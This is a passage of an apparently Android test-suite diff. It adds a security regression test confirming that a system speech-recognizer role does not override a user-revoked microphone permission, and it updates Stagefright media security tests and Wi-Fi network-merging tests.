org.junit.Assume.assumeFalse +import org.junit.Assume.assumeTrue +import org.junit.Before +import org.junit.Test +import org.junit.runner.RunWith + +@RunWith(AndroidJUnit4::class) +class RolePermissionOverrideTest { + private val instrumentation = InstrumentationRegistry.getInstrumentation() + private val context = instrumentation.targetContext + private val packageManager = context.packageManager + private val roleManager = context.getSystemService(RoleManager::class.java) + private val user = Process.myUserHandle() + + @Before + fun setUp() { + installPackage(TEST_APP_APK_PATH) + } + + @After + fun tearDown() { + uninstallPackage(TEST_APP_PACKAGE_NAME) + } + + @AsbSecurityTest(cveBugId = [202312327]) + @Test + fun systemRoleDoesNotOverrideUserRevokedPermission() { + assumeFalse( + ModuleDetector.moduleIsPlayManaged( + packageManager, MainlineModule.PERMISSION_CONTROLLER_APEX + ) + ) + assumeTrue(roleManager.isRoleAvailable(ROLE_SYSTEM_SPEECH_RECOGNIZER)) + val systemSpeechRecognizerPackageName = getRoleHolder(ROLE_SYSTEM_SPEECH_RECOGNIZER) + if (systemSpeechRecognizerPackageName != null) { + assertPermissionState( + systemSpeechRecognizerPackageName, android.Manifest.permission.RECORD_AUDIO, true + ) + } + assertPermissionState( + TEST_APP_PACKAGE_NAME, android.Manifest.permission.RECORD_AUDIO, false + ) + + runWithShellPermissionIdentity { + packageManager.updatePermissionFlags( + android.Manifest.permission.RECORD_AUDIO, TEST_APP_PACKAGE_NAME, + PackageManager.FLAG_PERMISSION_USER_SET, PackageManager.FLAG_PERMISSION_USER_SET, + user + ) + } + setBypassingRoleQualification(true) + try { + addRoleHolder(ROLE_SYSTEM_SPEECH_RECOGNIZER, TEST_APP_PACKAGE_NAME) + + assertPermissionState( + TEST_APP_PACKAGE_NAME, android.Manifest.permission.RECORD_AUDIO, false + ) + } finally { + setBypassingRoleQualification(false) + } + } + + private fun installPackage(apkPath: String) { + runShellCommand("pm install -r --user ${user.identifier} $apkPath") + } + + private fun uninstallPackage(packageName: String) { + runShellCommand("pm uninstall -r --user ${user.identifier} $packageName") + } + + private fun getRoleHolders(roleName: String): List<String> = + callWithShellPermissionIdentity { roleManager.getRoleHolders(roleName) } + + private fun getRoleHolder(roleName: String): String? = getRoleHolders(roleName).firstOrNull() + + private fun setBypassingRoleQualification(bypassRoleQualification: Boolean) { + runWithShellPermissionIdentity { + roleManager.setBypassingRoleQualification(bypassRoleQualification) + } + } + + private fun addRoleHolder(roleName: String, packageName: String) { + val future = CallbackFuture() + runWithShellPermissionIdentity { + roleManager.addRoleHolderAsUser( + roleName, packageName, 0, user, context.mainExecutor, future + ) + } + assertThat(future.get(TIMEOUT_MILLIS, TimeUnit.MILLISECONDS)).isEqualTo(true) + } + + private fun assertPermissionState( + packageName: String, + permissionName: String, + isGranted: Boolean + ) { + assertThat(packageManager.checkPermission(permissionName, packageName)).isEqualTo( + if (isGranted) PackageManager.PERMISSION_GRANTED else PackageManager.PERMISSION_DENIED + ) + } + + companion object { + private const val TEST_APP_APK_PATH = + "/data/local/tmp/cts/security/RolePermissionOverrideTestApp.apk" + private const val TEST_APP_PACKAGE_NAME = + "android.security.cts.rolepermissionoverridetestapp" + + private const val ROLE_SYSTEM_SPEECH_RECOGNIZER = + "android.app.role.SYSTEM_SPEECH_RECOGNIZER" + + private const val TIMEOUT_MILLIS = 15_000L + } + + private class CallbackFuture : CompletableFuture<Boolean>(), Consumer<Boolean> { + override fun accept(successful: Boolean) { + complete(successful) + } + } +} diff --git a/tests/tests/security/src/android/security/cts/StagefrightTest.java b/tests/tests/security/src/android/security/cts/StagefrightTest.java index 76b6549c0d9..b6c2737587b 100644 --- a/tests/tests/security/src/android/security/cts/StagefrightTest.java +++ b/tests/tests/security/src/android/security/cts/StagefrightTest.java @@ -22,6 +22,7 @@ */ package android.security.cts; +import com.android.sts.common.util.StsExtraBusinessLogicTestCase; import android.app.Instrumentation; import android.content.Context; import android.content.res.AssetFileDescriptor; @@ -100,20 +101,14 @@ import static org.junit.Assert.*; */ @AppModeFull @RunWith(AndroidJUnit4.class) -public class StagefrightTest { +public class StagefrightTest extends StsExtraBusinessLogicTestCase { static final String TAG = "StagefrightTest"; - private Instrumentation mInstrumentation; private final long TIMEOUT_NS = 10000000000L; // 10 seconds. private final static long CHECK_INTERVAL = 50; @Rule public TestName name = new TestName(); - @Before - public void setup() { - mInstrumentation = InstrumentationRegistry.getInstrumentation(); - } - class CodecConfig { boolean isAudio; /* Video Parameters - valid only when isAudio is false */ @@ -1151,7 +1146,7 @@ public class StagefrightTest { } @Test - @AsbSecurityTest(cveBugId = 110435401) + @AsbSecurityTest(cveBugId = 68664359) public void testStagefright_bug_110435401() throws Exception { doStagefrightTest(R.raw.bug_110435401, 60000); } @@ -3264,8 +3259,4 @@ public class StagefrightTest { assertFalse(hung); } - - private Instrumentation getInstrumentation() { - return mInstrumentation; - } } diff --git a/tests/tests/security/testdata/rolepermissionoverridetestapp.xml b/tests/tests/security/testdata/rolepermissionoverridetestapp.xml new file mode 100644 index 00000000000..783382abdf3 --- /dev/null +++ b/tests/tests/security/testdata/rolepermissionoverridetestapp.xml @@ -0,0 +1,26 @@ +<?xml version="1.0" encoding="utf-8"?> + +<!-- + ~ Copyright (C) 2021 The Android Open Source Project + ~ + ~ Licensed under the Apache License, Version 2.0 (the "License"); + ~ you may not use this file except in compliance with the License. + ~ You may obtain a copy of the License at + ~ + ~ http://www.apache.org/licenses/LICENSE-2.0 + ~ + ~ Unless required by applicable law or agreed to in writing, software + ~ distributed under the License is distributed on an "AS IS" BASIS, + ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + ~ See the License for the specific language governing permissions and + ~ limitations under the License. + --> + +<manifest + xmlns:android="http://schemas.android.com/apk/res/android" + package="android.security.cts.rolepermissionoverridetestapp"> + + <uses-permission android:name="android.permission.RECORD_AUDIO" /> + + <application /> +</manifest> diff --git a/tests/tests/wifi/src/android/net/wifi/cts/MultiStaConcurrencyWifiNetworkSpecifierTest.java b/tests/tests/wifi/src/android/net/wifi/cts/MultiStaConcurrencyWifiNetworkSpecifierTest.java index 71300513612..88457caaa9b 100644 --- a/tests/tests/wifi/src/android/net/wifi/cts/MultiStaConcurrencyWifiNetworkSpecifierTest.java +++ b/tests/tests/wifi/src/android/net/wifi/cts/MultiStaConcurrencyWifiNetworkSpecifierTest.java @@ -259,7 +259,9 @@ public class MultiStaConcurrencyWifiNetworkSpecifierTest extends WifiJUnit4TestB * Tests the concurrent connection flow. * 1. Connect to a network using peer to peer API. * 2. Connect to a network using internet connectivity API. - * 3. Verify that both connections are active. + * 3. Verify that both connections are active only the network for peer-to-peer and network + * for internet have different SSIDs. If they have the same SSID, verify there's exactly one + * connection. */ @Test public void testConnectToInternetNetworkWhenConnectedToPeerPeerNetwork() throws Exception { @@ -275,7 +277,9 @@ public class MultiStaConcurrencyWifiNetworkSpecifierTest extends WifiJUnit4TestB mTestNetworkForInternetConnection); // Ensure that there are 2 wifi connections available for apps. - assertThat(mTestHelper.getNumWifiConnections()).isEqualTo(2); + assertThat(mTestHelper.getNumWifiConnections()).isEqualTo( + mTestNetworkForPeerToPeer.SSID.equals(mTestNetworkForInternetConnection.SSID) + ? 1 : 2); } /** diff --git a/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java b/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java index 81129ed68fe..a4f3ff5aaa7 100644 --- a/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java +++ b/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java @@ -1332,14 +1332,15 @@ public class WifiManagerTest extends WifiJUnit3TestBase { // Skip the test if wifi module version is older than S. return; } - List<WifiConfiguration> testConfigs = new ArrayList<>(); - testConfigs.add(createConfig("test-open-owe-jdur", WifiConfiguration.SECURITY_TYPE_OPEN)); - testConfigs.add(createConfig("test-open-owe-jdur", WifiConfiguration.SECURITY_TYPE_OWE)); - testConfigs.add(createConfig("test-psk-sae-ijfe", WifiConfiguration.SECURITY_TYPE_PSK)); - testConfigs.add(createConfig("test-psk-sae-ijfe", WifiConfiguration.SECURITY_TYPE_SAE)); - testConfigs.add(createConfig("test-wpa2e-wpa3e-plki", + List<WifiConfiguration> baseConfigs = new ArrayList<>(); + baseConfigs.add(createConfig("test-open-owe-jdur", WifiConfiguration.SECURITY_TYPE_OPEN)); + baseConfigs.add(createConfig("test-psk-sae-ijfe", WifiConfiguration.SECURITY_TYPE_PSK)); + baseConfigs.add(createConfig("test-wpa2e-wpa3e-plki", WifiConfiguration.SECURITY_TYPE_EAP)); - testConfigs.add(createConfig("test-wpa2e-wpa3e-plki", + List<WifiConfiguration> upgradeConfigs = new ArrayList<>(); + upgradeConfigs.add(createConfig("test-open-owe-jdur", WifiConfiguration.SECURITY_TYPE_OWE)); + upgradeConfigs.add(createConfig("test-psk-sae-ijfe", WifiConfiguration.SECURITY_TYPE_SAE)); + upgradeConfigs.add(createConfig("test-wpa2e-wpa3e-plki", WifiConfiguration.SECURITY_TYPE_EAP_WPA3_ENTERPRISE)); UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation(); try { @@ -1349,46 +1350,51 @@ public class WifiManagerTest extends WifiJUnit3TestBase { mWifiManager.getPrivilegedConfiguredNetworks().size(); final int originalCallerConfiguredNetworksNumber = mWifiManager.getCallerConfiguredNetworks().size(); - for (WifiConfiguration c: testConfigs) { + for (WifiConfiguration c: baseConfigs) { WifiManager.AddNetworkResult result = mWifiManager.addNetworkPrivileged(c); assertEquals(WifiManager.AddNetworkResult.STATUS_SUCCESS, result.statusCode); assertTrue(result.networkId >= 0); c.networkId = result.networkId; } - List<WifiConfiguration> expectedConfigs = testConfigs; + for (WifiConfiguration c: upgradeConfigs) { + WifiManager.AddNetworkResult result = mWifiManager.addNetworkPrivileged(c); + assertEquals(WifiManager.AddNetworkResult.STATUS_SUCCESS, result.statusCode); + assertTrue(result.networkId >= 0); + c.networkId = result.networkId; + } + // open/owe, psk/sae, and wpa2e/wpa3e should be merged + // so they should have the same network ID. + for (int i = 0; i < baseConfigs.size(); i++) { + assertEquals(baseConfigs.get(i).networkId, upgradeConfigs.get(i).networkId); + } + + int numAddedConfigs = baseConfigs.size(); + List<WifiConfiguration> expectedConfigs = new ArrayList<>(baseConfigs); if (SdkLevel.isAtLeastS()) { - // open/owe, psk/sae, and wpa2e/wpa3e should be merged - // so they should have the same network ID. - assertEquals(testConfigs.get(0).networkId, testConfigs.get(1).networkId); - assertEquals(testConfigs.get(2).networkId, testConfigs.get(3).networkId); - assertEquals(testConfigs.get(4).networkId, testConfigs.get(5).networkId); - } else { - // Network IDs for different security types should be unique for R - assertNotEquals(testConfigs.get(0).networkId, testConfigs.get(1).networkId); - assertNotEquals(testConfigs.get(2).networkId, testConfigs.get(3).networkId); - assertNotEquals(testConfigs.get(4).networkId, testConfigs.get(5).networkId); - // WPA3-Enterprise is omitted when WPA2-Enterprise is present for R - expectedConfigs = testConfigs.subList(0, 5); + // S devices and above will return one additional config per each security type + // added, so we include the number of both base and upgrade configs. + numAddedConfigs += upgradeConfigs.size(); + expectedConfigs.addAll(upgradeConfigs); } List<WifiConfiguration> configuredNetworks = mWifiManager.getConfiguredNetworks(); - assertEquals(originalConfiguredNetworksNumber + expectedConfigs.size(), + assertEquals(originalConfiguredNetworksNumber + numAddedConfigs, configuredNetworks.size()); assertConfigsAreFound(expectedConfigs, configuredNetworks); List<WifiConfiguration> privilegedConfiguredNetworks = mWifiManager.getPrivilegedConfiguredNetworks(); - assertEquals(originalPrivilegedConfiguredNetworksNumber + expectedConfigs.size(), + assertEquals(originalPrivilegedConfiguredNetworksNumber + numAddedConfigs, privilegedConfiguredNetworks.size()); assertConfigsAreFound(expectedConfigs, privilegedConfiguredNetworks); List<WifiConfiguration> callerConfiguredNetworks = mWifiManager.getCallerConfiguredNetworks(); - assertEquals(originalCallerConfiguredNetworksNumber + expectedConfigs.size(), + assertEquals(originalCallerConfiguredNetworksNumber + numAddedConfigs, callerConfiguredNetworks.size()); assertConfigsAreFound(expectedConfigs, callerConfiguredNetworks); } finally { - for (WifiConfiguration c: testConfigs) { + for (WifiConfiguration c: baseConfigs) { if (c.networkId >= 0) { mWifiManager.removeNetwork(c.networkId); } @@ -2276,6 +2282,7 @@ public class WifiManagerTest extends WifiJUnit3TestBase { * configuration. * @throws Exception */ + @VirtualDeviceNotSupported public void testSetGetSoftApConfigurationAndSoftApCapabilityCallback() throws Exception { if (!WifiFeature.isWifiSupported(getContext())) { // skip the test if WiFi is not supported @@ -2365,6 +2372,7 @@ public class WifiManagerTest extends WifiJUnit3TestBase { * Verify that startTetheredHotspot with specific channel config. * @throws Exception */ + @VirtualDeviceNotSupported public void testStartTetheredHotspotWithChannelConfigAndSoftApStateAndInfoCallback() throws Exception { if (!WifiFeature.isWifiSupported(getContext())) { @@ -2540,17 +2548,8 @@ public class WifiManagerTest extends WifiJUnit3TestBase { assertTrue(actionListener.onSuccessCalled); // Wait for connection to complete & ensure we are connected to the saved network. waitForConnection(); - if (SdkLevel.isAtLeastS()) { - assertEquals(savedNetworkToConnect.networkId, - mWifiManager.getConnectionInfo().getNetworkId()); - } else { - // In R, auto-upgraded network IDs may be different from the original saved network. - // Since we may end up selecting the auto-upgraded network ID for connection and end - // up connected to the original saved network with a different network ID, we should - // instead match by SSID. - assertEquals(savedNetworkToConnect.SSID, - mWifiManager.getConnectionInfo().getSSID()); - } + assertEquals(savedNetworkToConnect.networkId, + mWifiManager.getConnectionInfo().getNetworkId()); } finally { // Re-enable all saved networks before exiting. if (savedNetworks != null) { |